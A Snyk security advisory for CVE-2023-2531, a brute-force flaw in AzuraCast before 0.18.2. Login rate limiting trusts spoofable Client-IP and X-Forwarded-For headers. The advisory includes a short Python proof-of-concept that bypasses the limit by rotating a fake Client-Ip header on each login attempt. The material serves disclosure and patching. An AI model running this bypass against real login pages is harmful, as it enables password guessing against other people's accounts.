Brute Force Affecting azuracast/azuracast package, versions <0.18.2


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.17% (55th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Brute Force vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-AZURACASTAZURACAST-5497341
  • published5 May 2023
  • disclosed5 May 2023
  • creditTsarSec

Introduced: 5 May 2023

CVE-2023-2531  (opens in a new tab)
CWE-307  (opens in a new tab)

How to fix?

Upgrade azuracast/azuracast to version 0.18.2 or higher.

Overview

Affected versions of this package are vulnerable to Brute Force such that the getIp() function first checks for a value inside non-default headers like Client-IP or X-Forwarded-For which can contain arbitrary contents. This allows an attacker to randomly generate a new value for any of these headers on each subsequent request to completely bypass the rate-limiting.

PoC

import requests

login_url = "http://localhost/login"
data = {"username":"root@localhost.local", "password": "xxx"}

for i in range(0,100):
    print(i)
    r = requests.post(login_url, data=data)
    if "You have attempted" in r.text:
        print(f"hit rate limiting after {i} tries")
        break

# now try with a randomized CLIENT_IP header

for i in range(0,100):
    print(i)
    headers = {"Client-Ip" : str(i)}
    print(headers)
    r = requests.post(login_url, data=data, headers=headers)
    if "You have attempted" in r.text:
                print(f"hit rate limiting after {i} tries")
                exit()

References

CVSS Scores

version 3.1